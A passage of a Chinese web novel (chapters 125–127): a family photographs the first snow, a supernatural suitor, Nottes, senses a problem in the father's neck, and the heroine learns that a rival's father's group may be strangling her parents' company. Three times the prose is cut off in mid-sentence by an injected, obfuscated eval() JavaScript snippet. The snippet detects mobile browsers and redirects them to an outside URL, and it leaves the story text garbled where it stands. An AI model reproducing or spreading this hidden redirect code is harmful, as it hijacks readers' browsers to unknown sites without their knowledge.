她圆目大睁,盯着自己的老妈,“妈,你又在胡说什么,不要自己瞎猜好不好?” 祁欢乐呵呵的,应和自己的女儿,“好,好,算我瞎猜。” 付了账,离开收银台,诺特斯十分有眼力见地把购物袋都接了过去,原本有点沉重的购物袋到了他手里仿佛变成了什么时尚单品,拎在手里毫不费力,白色的袋子与黑色的外裳和灰色的毛巾构成了黑白灰三色,使他整个人看着更现代时髦了。 庄森芽看着诺特斯这幅模样,瘪瘪嘴。 可真有迷惑性,希望爸妈不要被这个男人的外表给骗了。 别看他是二十多岁的年纪,看着年轻,指不定阅历有多深,庄森芽就没见到他因为什么惊慌失措,或者束手无策。 他们四个人走在一起,城府最深的说不定是谁呢。 买完了衣服,祁欢依然意犹未尽,精气神看起来比她女儿足多了,仿佛她才是那个精力充沛的年轻人。她提议去拍大头贴,可是又因为拍摄房间装不下四个人而作罢,祁欢没有放弃拍照的想法,又想去找摄影店拍全家福。 照她的话说,一家人难得出来一次,总要留下点什么念想,以来记录这一次的团聚。 祁欢提出的想法,庄洪成往往没有说不的时候,庄森芽更是不愿意扫了老妈的兴致。 然而几个人来到摄影店,却被告知排期已经满了。 无奈只好离开。 没有拍上照片,祁欢看起来有点低落,庄洪成安慰自己的老婆,说这样的机会将来还有,但祁欢就是高兴不起来。 几人站在商场的门口,玻璃门外是一个飘着小雪的雪夜,时间并不是很晚,但冬日的夜晚总是很早降临。 诺特斯遥望着外面,突然转头回来,提议说:“不如去外面拍雪景吧,这应该是上茂市今年的第一场雪,初雪是不是有什么美好的寓意来着?” 他似乎很懂女人的心理,生活需要很多的仪式感来支撑,这句话重燃了祁欢的兴头,她眼神发亮,看着外面飘落的零星雪花,“应该是有什么美好的寓意吧,虽然我不知道……她爸,宝贝,咱们去拍雪景吧!” 庄森芽不知道老妈的精神头都是哪里来的,为什么自己一点也没继承到,但是看着她如此兴奋,也不由得被带动得跃跃欲试起来。 几人来到商场外的广场,因为下雪,一些原定在户外举行的活动取消了,场地上空空如也,行人很少,只有一些缠绕着灯线的雕塑在不知疲倦地发光。 他们找到了一个海豚形状的雕像,打算在这里拍下今年冬天的第一张全家福。 诺特斯充当了摄影师的职责,毫无怨言地一张又一张拍摄,等待画面中的人物做出各样的姿势,并给出一些从他角度出发的指导意见,按下一次又一次快门,将所有美好的瞬间定格在手机相册之中。 庄森芽对这类活动没有太大的兴致,但她爸妈则不然,就像小时候带她出去游山玩水一样,拽着像软泥一样的她东跑西颠,把广场上的雕塑全都拍了个遍。 一趟下来,祁欢心满意足,捧着手机查看里面的照片,并对诺特斯的拍摄技术连连称赞。 庄森芽凑过去瞧,没觉得有什么特别的,感觉拍得不算多好,构图有问题,色彩也需要调整,这些照片在她艺术家的眼中只能算得上是马马虎虎。 “哎呀。”看照片的时候,祁欢发出一声惊叫,用指尖挡着自己的嘴巴,“光顾着咱们三个人拍了,诺特斯一张都没拍。” 庄洪成也恍然意识到这点,“是啊,光顾着我们自己玩了。” “他拍不了。”庄森芽这时插嘴,挑了挑眉毛,“他要拍,得准备一个巨大的反光板,不然只能照出来一个黑影,剩两只眼睛在半空飘。” 诺特斯低下头来,保持微笑,对她的讽刺表现得很大度,“很遗憾,我不是生在非洲,想把我照成那种效果有点难。” 祁欢接替了摄影师的职位,兴冲冲地说,“你们俩去那个星星雕像下站着,我找找角度。” 庄森芽听了,反问:“我也要一起拍?” “不然让诺特斯一个人孤零零站在那里吗?多可怜呀。”祁欢说。 他还可怜,他跟这两个字根本就不沾边。 还有,她为什么非得和他一起拍照不可? 心里虽然抱怨不已,但面上不愿扫兴,庄森芽还是站在了诺特斯的身边。 两个人背后是挂满了橘黄色灯泡的星星雕像,显然像是为了讨小孩子喜欢才修建的。 “摆个姿势呀,别像电线杆一样站在那。”祁欢招呼两人说。 然而摄影师越是这么说,庄森芽就越是觉得身体僵硬。 摆姿势,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799036|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要摆姿势,光是照一张照片还不够,还要摆什么姿势,要求简直太高了,她觉得自己笔直地站着也是一种不错的姿势。 然而祁欢看起来并不满意,有种恨不得上前来给女儿摆弄一番的架势。 这时候,旁边的诺特斯张口了,他提议,“既然背后是一颗明星,不如我们做出想要捕获它的样子吧。” 庄森芽很难理解他描述的这幅场景,表示困惑,“怎么做?” 诺特斯给她演示了一番,高举一条手臂,视线犹在遥望远方,用看狗都深情的目光注视着身后的星星,仿佛十分渴望得到它。 庄森芽照猫画虎,学着他的模样也摆出同样的姿势,两人一左一右变成了一个镜面,看起来并不像是游客照,更像是什么艺术品上才会有的经典画面。 快门按下,祁欢又给了新的指示,“你们站到同一边去,现在看起来像是两个路人一样。” 庄森芽感觉有点失去耐心,可碍于对方是老妈,反抗大概率无效,还是不得不配合。 诺特斯走到了她身后来,庄森芽盯着她,而就在她仰头张望的时候,祁欢按下了拍照键。 “好好,这张好。”祁欢的声音听起来十分满意,“你们就维持着这个姿势不要动啊,互相盯着,别挪开视线,我再换角度多拍几张。” 面前是那张经常带着笑意的脸,金棕色的眼睛在黑夜之下变得浓郁深沉,庄森芽潜意识觉得再盯着看下去有点大事不妙,于是转过头来,小声嘀咕着,“我才不要看他。” 祁欢微微放下手机,“欸,别动呀。” “就这么拍吧,妈,拍完咱们回家,雪都开始下大了。”她只想快点结束这场没完没了的拍摄。 此刻,身后传来衣料的摩擦声,紧接着,一只手拂去了头顶的雪,而后又搭在她的右肩上。 不用想就知道是谁,庄森芽猛然回头,瞪着背后的人,小声警告,“把手放下去。” 爸妈都还看着呢,她可不想让他们进一步误解什么了。 诺特斯没有抽回自己的手,微微俯下身来,以只有两人才能听见的声音说:“放到哪里,搂在你的腰上可以吗?” 她瞪圆了眼睛,“当然不行!” “我看做出再亲密一点的举动也不是不行,你妈妈似乎很乐意见得。” “你敢?”她几乎是咬着牙说。 就在两人说悄悄话的时候,祁欢已经摁下了无数次快门,将这一刻又一刻永远地定格下来。 她快步小跑着来到庄森芽和诺特斯身前,急于分享自己刚才的拍摄成果,似乎对它们很满意,“快看这几张,太有氛围了。” 举起的屏幕上,庄森芽看到一张又一张十分自然的画面,那都是由刚才的抓拍得来的,将她和诺特斯在雪中小声争执的一幕幕记录了下来,活灵活现,仿佛在上演一场小型的电视剧。 祁欢的模样看起来欣慰无比,她又有了新的点子,“我们四人再拍一张吧。” “妈……”庄森芽感觉到无语,她朝一旁的庄洪成求助,“爸,你能不能劝劝妈,她拍起照来没完了……” 从刚才开始,庄洪成就站在一旁,乐呵呵地看着老婆给女儿和女儿这个所谓的‘朋友’拍照,面上是老父亲的慈祥,一脸欣慰。 听到庄森芽的求救,庄洪成表示无能为力,“你妈想做的事情,我可拦不住。” 求助无效,庄森芽整个人都泄气了。 感觉被折腾得魂要出窍,明明只是拍了几张照片而已,为什么会这么累? 然而祁欢却还是一副兴致勃勃的模样,十分豪爽地招呼路人帮他们拍摄,四个人换了个凤凰雕像,在前面站成一排,像是和谐的一家人一样,等待镜头记录他们当下的这一刻。 终于,相册堆积了满满一页又一页的照片,祁欢这才心满意足。 125. 交托 他们回到地下停车场,把车开出来,车子悠悠向家的方向开去。 路上,祁欢选了好半天的照片,把好看的都传进了家庭的小群聊里,庄森芽翻了翻,又从中选了几张保存下来。 两人坐在后座上,诺特斯探过头来,“我也要。” 几人里,他只有庄森芽的联系方式,只能眼巴巴等她施舍。 庄森芽没在这点上为难他,把和诺特斯有关的照片一股脑发过去,一时间,车里响起的全是新消息提示的手机铃声,好不热闹。 这下,庄森芽才有空仔细看那些照片。 她不是很擅长被拍照,无论哪张照片上,自己的表情看起来都差不多,唯一有所变化的就是和诺特斯一起拍的那几张,恼怒攀上了她的脸庞,使整个人都变得生动了起来。 而诺特斯也的确像他说的那样没有直接溶解在黑夜里,是她错怪他的肤色了,以为他会只剩一双眼睛飘在半空,像灵异事件一样,但其实不是。 深色的皮肤只是显得色调更暗而已,他清晰的轮廓被相机捕捉,变成棕色的眼睛熠熠生辉,飘雪坠落,零星几颗,不知为何,整幅画面带着一种很强烈的故事感。 无论是黑夜还是黑夜的风,都仿佛和他相处得十分融洽,就好似他从远方而来,也将随风而去。 庄森芽原本没打算保存和诺特斯一起拍的那些照片,可奈何,它们实在是有着极其耐人寻味的艺术性,不留存下来的话,感觉都对不起自己的漫画事业。这些照片都可以在将来的某一刻变成灵感,融进创作之中。 于是她侧过身来,不着痕迹地用手机背面冲着旁边的人,悄悄把那些照片都保存了下来。 只是为了艺术参考……只是为了艺术参考…… 她在心里如此对自己说。 “她爸,你说我们明天再带着他们玩什么呢。”副驾驶的祁欢意犹未尽,已经开始计划起明日的行程了。 听到这里,庄森芽连忙打断她,“妈,我还要学习呢。” “哦,对,我差点都给忘了。”祁欢十分心大地说。 庄森芽瘪瘪嘴,感觉有点无奈。 祁欢从小到大对自家女儿的教育理念就是,学习差不多就行,别太拉胯,但也别累着,快乐是第一位的,其他什么都可以往后排。 老爸庄洪成虽然更加严格一点,但还不到望子成龙的程度,只是会用各种各样的诱惑鼓励庄森芽考到更好的名次,比如如果进了班级前十就让她自选一件心仪的礼物,通过这样的方式激励她学业进步。 归根究底,夫妻俩对女儿的要求都不算太高,尤其是祁欢,偶尔会发表一些‘这个学是非上不可吗’之类的言论,弄得有时候庄森芽感觉自己学习都是罪过。 至于为什么会这么宽松,可能是因为老妈没上过大学,但成年之后就开始自己出去打拼了,如果不是因为公司的经济状况出了问题,她比她那届的同龄人要过得好上许多,故而也不怎么看得上所谓的学校教育。 车辆慢悠悠地行驶着,最终开进了小区之中。 回到家,收拾一番之后,也快到了睡觉的时间。 倦鸟归巢,庄森芽回到自己的卧室,却发现诺特斯也跟着钻了进来。 她坐在床头,一副女主人的架势,“你进来干什么,客厅不都给你搭好床铺了吗?” 诺特斯拉开桌前的人体工学椅,他似乎有什么话要说,犹豫了半响才开口,“有时间的话……最好带你爸去看看颈椎。” 听他这么说,庄森芽反应了片刻,而后紧盯着神情认真的诺特斯,这才发觉他不是在开玩笑,心情顿时有些紧张了起来,她反问道:“怎么了,什么意思,我爸怎么了?” “应该不是什么大毛病,只是刚才看他走路,姿势有点不对劲。” 庄森芽回想了一番,印象里,庄洪成这些年的确越来越憔悴了,脊背也越来越弯,这些都是因为他操忙于公司的事情,但她没从老爹的走路姿势看出什么异常。 可诺特斯这么说,不免让人人心惶惶。 “我虽然不是什么医者,但大概能感知到问题在哪。”诺特斯目光诚恳地盯着庄森芽,“如果你允许我与他‘共体’的话。” ‘共体’,诺特斯能力的一种,庄森芽清楚这是怎样的技艺,说明都躺在她备忘录的设定书上。 当他处于隐身状态下,与其他物质重叠时,有两种选择,分别对应两种不同的能力,一是‘侵占’,二是‘共体’。 前者是破坏性的攻击手段,通过占据对方空间的方式,捣毁目标的结构,如果是物件则会变形,如果是人体则会破洞流血;而后者则是无任何副作用的感知手段,他很少使用,这个能力能让他获得重叠物件的状态认知,人体也不在话下。 庄森芽记得很久之前,久到刚入学的时候,有一次她胃病犯了,倒在酒店的床上流冷汗。 好巧不巧,那个时候诺特斯找上了门来,蹲在她卧倒的床前,十分吓人地直接用手穿过她的腹部,仅仅是通过这样,他似乎便得知了她的胃有毛病,那之后还体贴地留下了一袋子特效药。 庄森芽亲身体会过‘共体’,的确没什么感觉,对身体也没有丝毫损伤。 但她有点犹豫。 ‘共体’和‘侵占’的发动条件是一样的,都需要诺特斯自身与其他物质重叠,而究竟发挥破坏的能力,还是感知的能力,其决定权完全掌握在使用者的手中。 也就是说,一念之差,他可能发动攻击,也有可能相安无事。 那毕竟是自己的父亲,庄森芽不敢冒太大的风险。 可诺特斯的话萦绕在心头,让人耿耿于怀。 要是真的有什么毛病怎么办? 直接劝老爸去医院?她觉得可能性不大,拿不出理由的话,谁也不会没什么毛病就往医院跑。 而且老爸那个喜欢逞能的脾气,肯定一口咬死自己的身体十分健康,没有什么症状是绝对不会低头的。 庄森芽审慎地盯着诺特斯,脸色严肃,打量着对方,审度着他的诚意。 而诺特斯一直以一副想要帮忙的坦率神情看着她,似乎不惧将自己的心思剖开来给她看。 她在其中未见一丝虚伪。 片刻之后,庄森芽垂下视线,从自己的背包里把那绿莹莹的石剑醇吊坠翻了出来,攥在手心。 把它递出去,但又在半路停住,她说:“只是临时还给你,用完了还要还回来。” “没问题。”对方爽快地答应。 石剑醇回到诺特斯的手中,它开始散发微光。 男人隐藏起自己的行迹,离开卧房,庄森芽紧随其后,先去冰箱翻了一瓶大瓶装的果汁出来,加上一些冰块,倒进两个杯子里,像是餐饮店服务员一样托着它们往爸妈的卧室走。 夫妻俩卧室的门没关,两人正斜躺在床上,靠着床板聊天,对着手机轻声细语,似乎正在翻看今日的照片。 庄森芽立在门口,而诺特斯径直穿过她,靠近夫妻俩所在的睡床。 他们完全觉察不到接近的人,哪怕是一个漆黑的人影站在床边,两人也丝毫看不见。 庄森芽走进去,像个小服务员一样分发果汁,她来的目的是为了监视诺特斯,以防他做出什么约定之外的事情。 “哎呀,闺女就是贴心,你怎么知道我口渴了。”庄洪成接过果汁,在床上坐直了,吨吨喝了两口,感慨地发出一声叹息。 “你少喝点凉的吧。”祁欢接过了属于自己的那一杯,却也喝得像是八百年没吃过甜食一样。 庄洪成看到她的样子,嗔怪说:“不让别人喝,自己喝得那么痛快。” “谁让我体格比你好呢。”祁欢拌嘴。 两人交谈的时候,诺特斯来到了庄洪成的身边,他伸出一只手掌,先是搭在中年人有些弯曲的后脖颈上,而后像被流沙吞噬一般,他的手陷了进去,与对方的脖颈在物理层面上交叠在一起。 庄森芽有点紧张地盯着诺特斯的动作,这个场景让她不由自主神经紧绷,因为老爸的命脉现在就掌握在诺特斯的手里,而在她的印象中,诺特斯每每做出这种举动的时候,不是要杀人也是要威胁别人。 从来没有一次,是为了治愈或是救赎而对别人这么做过。 半晌过后,诺特斯抽回了自己的手。 庄森芽咽了口口水,心脏这才落回了肚子里。 “可能有几根血管黏住了,或者是时刻紧绷的肌肉压迫到了神经,具体我辨析不太清楚,总之颈椎这里不太通畅。”诺特斯朝庄森芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804121|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投来视线,面容是平静的,但越是这番平静的神色越显得他严肃,因为他平时脸上总是挂着各种各样的笑容,“虽然现在表面没什么症状,但还是去医院看看吧,毕竟颈椎是神经连接全身的通道,不出问题还好,有问题一般都……比较严重。” 听到这里,庄森芽也不禁严肃起来。 她盯着自己的父亲,脸色不太轻松。 女儿长久的滞留引来夫妻俩的疑惑,沉默诱使他们发声。 “怎么了,宝贝?”祁欢第一个留意到了她的不对劲。 “是有什么事要说吗?”庄洪成也问。 庄森芽盯着自己的老爹,看他愈发苍老的模样,心中不是滋味。 有些时候,她真想劝他们不要再苦苦经营公司了,虽然那些患者很可怜,但她也心疼他们啊。 生活水平的下降让他们再也负担不起昂贵的私人教练,保健品也断了,为了公司的事务频繁奔波,晨练时间被压缩,作息更是愈发不规律,他们肉眼可见的比以前衰老了许多。 庄森芽默默在床边坐下来,腰背有些佝偻。 夫妻俩对视了一番,默契地凑到自己女儿的身边,一左一右地坐着,细声询问她异样的起因。 “爸,”庄森芽抬起眼来看着庄洪成,“你最近工作是不是太卖力了。” 庄洪成眨眨眼睛,有点无措地笑,“没有吧,还是和以前一样,怎么了闺女,是因为我回家的时间变少了而不开心吗?” 她摇摇头,“你的白头发变多了。” 庄洪成张张嘴,却是没说出话来。 另一边,祁欢叹息了一声,“你爸长白头发都是自己作的,我经常劝他去休息,他非不听,这么作下去身体都要垮了。” “她妈,说这些干什么……”庄洪成抱怨着,又看到女儿向自己投来埋怨的视线,连连好言解释说,“最近患者有点多,冬天到了吗,仿生部件多多少少都会出点毛病,忙完这一阵就好了。” “就不能多雇点人吗?”庄森芽说。 什么都要亲力亲为,身体不出状况才怪呢。 庄洪成吱唔了一声,声音也弱下去,“钱还得留着买原材料,一个员工的工资算上保险之类还挺贵的,我自己每天多忙一两个小时就能把这个招人的成本省出来。” 庄森芽不是不清楚公司的财政情况,也知道父母在尽心尽力维系它,可当下情绪上头,她有些失去理智,不禁大声埋怨起来,“就是因为你总这么想,省了一个员工的钱又想省下一个,你一天有几个小时啊,还吃不吃饭睡不睡觉了,非要累出什么毛病来才算罢休吗?” 庄洪成叹息了一声,摇摇头,没再说什么。 祁欢也把脸转去一旁,一副无奈的模样。 庄森芽这才反应过来自己的语气有些冲,她无意对爸妈说重话,只是关心则乱。 冷静了片刻之后,她再度开口,“……妈,最近带爸去做过身体检查吗?” 祁欢回想了一番,摇摇头,“哪有那个时间……” “我最近在漫画平台上赚了点钱,等一下就打进你们的卡里,让爸不要再为了省钱而折腾自己了。” 听到庄森芽这么说,祁欢脸上是一万个不同意,“那怎么行,那是你辛辛苦苦赚来的钱,你留着自己用。” “我就不能参与进你们公司的事情吗?”她反问。 祁欢还是摇头,态度坚决,“你过好自己的生活就行了。” “……”庄森芽沉默半响,她理解老妈的用心良苦,于是退让半步,“我不转钱给你们也行,但你必须带爸去医院一趟,让他做个全一点的体检。” 她对庄洪成的身体情况耿耿于怀,仿佛成了心里的一根刺,只有拿到医生出具的健康报告,这根刺才拔得掉。 “好吧。”见女儿在这件事情上如此执着,祁欢也退让一分,“我这两天就带你爸去。” 听老妈如此承诺,庄森芽的心这才落到胃里。 “瞧你女儿多关心你。”祁欢用胳膊肘戳了戳庄洪成。 庄洪成乐呵呵地笑,模样看起来十分欣慰,还有点暗喜,“就跟你说闺女比儿子贴心多了……” 老两口你一言我一语聊了起来,庄森芽退出了他们的卧房,回到了自己的房间。 126. 有些人早就知道 躺在床上,她开始沉思起来。 怎么才能减轻爸妈的负担? 最好的方式是她现在立刻马上飞黄腾达,直接带公司的财务情况走出困境,但这想想就是不可能的。 她没有任何途径赚到这笔大钱,买彩票她不相信自己的运气,赌漫画出名她不相信自己的实力,巴结大款…… 庄森芽蹭一下子从床上坐了起来。 一个人影在她的脑海中浮现,那是裴佑哲。 不,不是说他是个大款所以想去巴结他,而是说…… ‘一周情侣’这七天过去,庄森芽没少陪他在名利场周旋,亲眼见他在各式各样的行业大佬之中侃侃而谈,想也不用想,他肯定认识许多的业界精英。 如果和他说明她家光曙公司的困境的话,裴佑哲人脉那么广,肯定有办法帮她解决问题。 父母经营的仿生器械科研公司因为原材料垄断的原因而不堪其扰,据庄洪成所说,那家垄断原材料的公司的董事长,和他们夫妻二人有一些过节,这不是商业上的竞争,而是人情上的敌对,用人脉解决最合适不过。 想联系裴佑哲,可一想到现在和他僵持的关系,庄森芽就一点拿起手机的勇气都没有了。 她长长地叹息了一声。 “怎么愁眉苦脸的?” 不远处传来带着笑意的问询。 庄森芽一惊,差点把诺特斯给忘了,刚才太过专注于思考自家公司的事情,而完全没留意这个男人又跟着她进了卧室。 明明客厅已经铺好了床铺,他却赖在这里不走,但庄森芽也懒得再管,反正驱赶的话语又对他无效,又何必浪费那个口舌。 她索性当他是一个树洞,向对方倾诉着自己的苦恼,“我想联系佑哲,家里的事情他或许能帮忙……但我现在又不敢。” 诺特斯意味深长地沉吟一声,头颅抬高了,目光坠向地面,“说起来,我还没问你,在我离开之后,那个叫‘一周情侣’的所谓考核活动期间,还发生了什么吗?” 庄森芽回想起最后几天发生的事情。 诺特斯不在,而她则和裴佑哲先是吃了一顿高档晚餐,第二天又为陪他过了个生日,而在那考核最后一日,他要她为他画一幅水彩肖像画。 这一切结束之后,裴佑哲嘴上说着考核结束,她通过了,十分令人怀念地又变回曾经那个宽和的学生会主席,可是紧接着,他又提出交往的请求。 她拒绝了他,于是他也收回了他的温柔。 那之后就是‘一周情侣’总结会了,裴佑哲当着所有人的面公开与石玥诗交往,将庄森芽置于一个被人群嘲的境地,要不是诺特斯的出现,现在校园内流传的风言风语恐怕就是‘一个大一白毛女不知好歹对学生会主席死缠烂打’。 事情就是这样,现在,她和裴佑哲的关系已经是恶上加恶,不能再坏。 庄森芽盯着诺特斯,在这人眼中看出了一丝打探的意图,这让她顿时缝住了嘴巴,不愿如实相告,其中或许还有一些故意想要吊着他的小心思,“你不在的时候发生了什么……无可奉告。” 像是没料到她会这么回答,诺特斯鲜有地一愣,眨眨眼,嘴里发出短促的气音。紧接着,他笑开了,别有意味地盯着她,“是做了什么对不起我的事?” “是呀。”她挑衅似的笑起来。 然而这样的对话根本没什么依据,首先,她没跟裴佑哲做什么,其次,她和诺特斯也什么都不是。 所以无论她做什么,都算不上‘对不起’他。 如果说她心里有一个评分系统,评判着漫画完结前诺特斯的表现,那么他离满分还有不少距离。 虽然……帮她老爸查出颈椎有问题,在这点上她还是很感激他的,但顶多加一点印象分,勉勉强强及格而已。 他还差得远呢。 面对庄森芽的挑衅,诺特斯笑得更邪魅了,他好像从来不知受挫为何物,是那种心脏被戳个窟窿还能笑得出来的疯子。 他来到床边上,坐下来,挺拔的上身挡住了房间内唯一的光源,投下一片阴影。 他注视着庄森芽的眼睛,紧接着是丰润的嘴唇,气氛变得有点焦灼。 她无所畏惧地回望着。早在挑衅的时候,第六感就知道事态会变得不受控制,可是不知道为什么,她必须承认,她很喜欢看诺特斯受到挑衅时的反应,如果能在其中看到一丝动摇就更痛快了,尽管她总是要为这种挑衅付出代价。 不过这次不同,父母就在一个客厅之隔的卧室,她赌诺特斯不敢做什么。 这家伙总是想在他父母面前留下一个好印象,要是被发现在自己的家里对他们的女儿动手动脚,他苦苦维系的完美形象可就要一夕破碎了。 而事实正如庄森芽所想,诺特斯虽然倾身压了上来,但却没有进一步的动作,他变得十足矜持,仿佛当真是个体面绅士似的。 “那我是不是也要做点对不起你的事情,我们才算扯平。” “那你去做啊。”她表现得丝毫不在意。 “给我推荐几个可以蹦迪的夜店吧,我今天晚上就不回来了。” 她其实对夜店什么的一点也不了解,可不甘示弱的心态让她把话题继续了下去,“那要看你想要什么类型的一夜情,每个夜店的女孩子个性都不太一样。” 他当真开始提条件了,“我想要泼辣一点的,最好床上床下都跟我对着干。” “你品味还挺独特的。” “不爽了就把我踹下床,一言不合就扇我巴掌的那种是最好的。” “你是受虐狂吗?” “时不时骂我两句色狼那就更好了。” “变态。”她发自肺腑。 诺特斯笑着问:“你在毛遂自荐吗?” 庄森芽抽起身后的枕头就往对方身上砸,“你给我出去!不是要去夜店吗,赶紧消失。” 诺特斯用手挡住了枕头,轻而易举就把它从庄森芽的手里抢过来,将凶器扔到了床角。 于是她又抄起旁边的靠垫,再次往对方头上砸。 诺特斯又接了下来,笑着说:“好了,不闹了。” “是你先开始无理取闹。”不管事实是不是这样,总之先把锅甩过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809093|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 诺特斯把枕头和靠垫都抓过来还给她,而后,一个转身坐上旁边的椅子,离开了她的攻击范围。 再之后,他朝自己口袋里摸索,十分自觉地把石剑醇吊坠交了出来,摆放在床头柜上。 换上一副说正事的表情,诺特斯说道:“你刚才说,你想让那个裴佑哲帮忙解决你家公司的问题?” 庄森芽调整好了靠垫和枕头的角度,往上面一栽,懒洋洋的,“是又怎么样。” “这可不是什么明智的选择。” 听到对方否定的话语,庄森芽不屑地说:“怎么不明智,人家要钱有钱,要人脉有人脉,事业上来往的合作伙伴那么多,以他的能力,肯定能解决我家公司的问题。” ……但前提是,他愿意的话。 诺特斯在转椅上翘起二郎腿,“你还记得垄断原材料的那家公司是属于什么集团下的吗?” “当然,腾滨集团。” “这个集团名字就没让你回想起来什么?”他提示她。 想起什么……? 的确,腾滨集团这个名字听起来很耳熟,她不光是从爸妈的嘴里听见过,似乎也从别人的口中…… 突然,一个画面窜进脑海。 那是在陪同裴佑哲出席车展的那一天,他和一众精英人士聊天,其中有一个女人问他生日宴会是不是快要到了,她想借这个机会见一下腾滨集团的董事长。 而从当时的语境来看,这个腾滨集团的董事长,无疑指代的就是裴佑哲的父亲。 突然浮现在脑海的回忆让庄森芽愣住了。 这两个腾滨……会是同一个滕滨吗? 将她的神色收入眼中,诺特斯说:“看来你已经有了些眉目。” 庄森芽一时有些迷茫。 怎么会……难道垄断资源,使她家公司穷困潦倒的罪魁祸首,是腾滨集团旗下的公司?是裴佑哲父亲裴正的企业? 天底下会有这么巧的事情吗…… 她还记得爸妈说过,他们和那个集团的董事长有过节。但是怎么可能呢,怎么可能会和裴佑哲的父亲…… “你想请他帮忙,大概率是不可能的。”诺特斯说,“商人的孩子都很精明,在利益与感情之间,他们往往会选择前者。” 庄森芽皱眉盯着他,头脑有点混乱。 “就算你是他正式的妻子,他也会因为集团的利益而舍弃你吧。” 诺特斯的话有明显贬低的嫌疑,但庄森芽此刻已经没工夫去指出对方的小心思了。 她满脑子都是这个最新的认知。 虽然不敢相信,但如果这是真的,事情就复杂了。 如果是真的,她将来该如何与裴佑哲相处?他们的关系本来就已经如履薄冰,再加上这层父母的恩怨,就更是要反目成仇了。 可是她唯独不想与裴佑哲再发生什么矛盾,天知道她多希望曾经的那个学生会主席回来。 在学生会的日子还长着,将来想必还要去面对他,她不想和他之间一直有什么隔阂,那岂不是将要一直活在这个上位者的阴影之下,被他欺辱霸凌。 127. 感性是龟也是黑马 有必要确认一下这件事情的真实性,最快的方法就是问爸妈,他们所指的那个垄断原材料的腾滨集团,到底是不是裴正手里的那个。 但是现在时间已经很晚了,两人估计都已经睡下,她只能暂时按下这个疑问,打算明天清早一醒就去找他们问清楚。 庄森芽思绪繁杂地倒在自己的床上,钻进暖和的被窝里,也不管诺特斯是不是还滞留于她的房间。 不过,对方也没逗留多久,留下一句话就离开了。 他说:“要是觉得走投无路了,可以考虑向我求救。” 庄森芽只想再次把枕头甩过去。 向他求救?绝无可能。 哪怕天底下就剩他们两个人了,她也绝对不会对这人低头,祈求得到他的援助。 “去你的夜店吧!” 她还是把靠枕扔到了刚好闭合的门上。 诺特斯临走前还不忘把灯帮她关了,门关上后,卧房顿时陷入了一片漆黑,空灵的夜晚万籁俱寂,她甚至能听到自己的心跳声。 脚步声在客厅响起,诺特斯似乎没有走向给他在客厅铺好的睡床,而是去往了大门。 紧接着,开关门的声音响起,他似乎就这么离开了。 所有的动静都清晰地传进耳中,庄森芽只觉得心情一团糟。 ……烦死了。 老爸的身体状况,家庭经济上的压力,公司的经营情况,和裴佑哲僵持的关系,所有这一切都让她困扰不已。 然而就连本人都察觉不到的,其实最让她烦扰的,要属刚才的关门声。 庄森芽下了床,把自己刚才抛向门口的靠枕又捡了回来,愤愤把它甩在床上,无辜的靠枕弹了半米高。 “他还真敢去夜店……!” 扣分,这绝对要扣大分。 而且要把他截止现在累积的所有正分都扣光,行一辈子善事都挽救不回来的那种程度。 她气势汹汹倒回床上,强迫自己闭眼,她可不像某些夜生活繁多的闲散人士,可以尽情挥霍夜晚,她明天还有正事,一大清早就得去问问爸妈腾滨集团董事长是不是个姓裴的。 就这么心事重重地,纷杂的思绪在某一刻突然断了线。 然而第二天,没等她起床,就见诺特斯已经衣冠楚楚坐在椅子上了,看样子是在等她醒来。 庄森芽不怎么友善地盯着对方,看到这人一脸餍足,容光焕发,她顿时觉得心里不得劲起来。 “你昨天晚上去哪了。”她不死心地问了一句。 “不是你让我去夜店吗。”诺特斯歪了歪脑袋,说,“不得不说,上茂市真是美女如云啊,衣着轻便性感,姿态百生,看得让人眼花缭乱,不知道该从哪里下手。” 果然是这样。 庄森芽暗中咬牙切齿。 就不应该对这个人抱有什么期待。 在外面放浪一圈,他居然还有脸光明正大进她的卧房,糜烂的瘟神,真是不知廉耻。 “从我房间出去。”她呵斥。 诺特斯露出一副无辜的面孔,“怎么一大清早就赶我走。” “我这里不欢迎脏东西。” 他闭眼轻笑,毫不在意这番辱骂的言语,紧接着,从座椅上站起来,抬腿接近庄森芽所在的床铺。 她顿时如临大敌,向另一侧退去,“别过来,这次我是认真的。” 不管他想做什么,她不会再让他得逞了。 一想到那双手碰过别人,那嘴唇也吻过别人的,她就没由来感觉到一阵恶寒,对诺特斯的抵触情绪愈发强烈。 他凑在床沿上,单膝跪着,“让我去夜店的是你,怎么生气的也是你。” “谁生气了,你看见我生气了?”她辩驳。 “是啊,这么明显,在我眼前气鼓鼓的,像个河豚一样。” 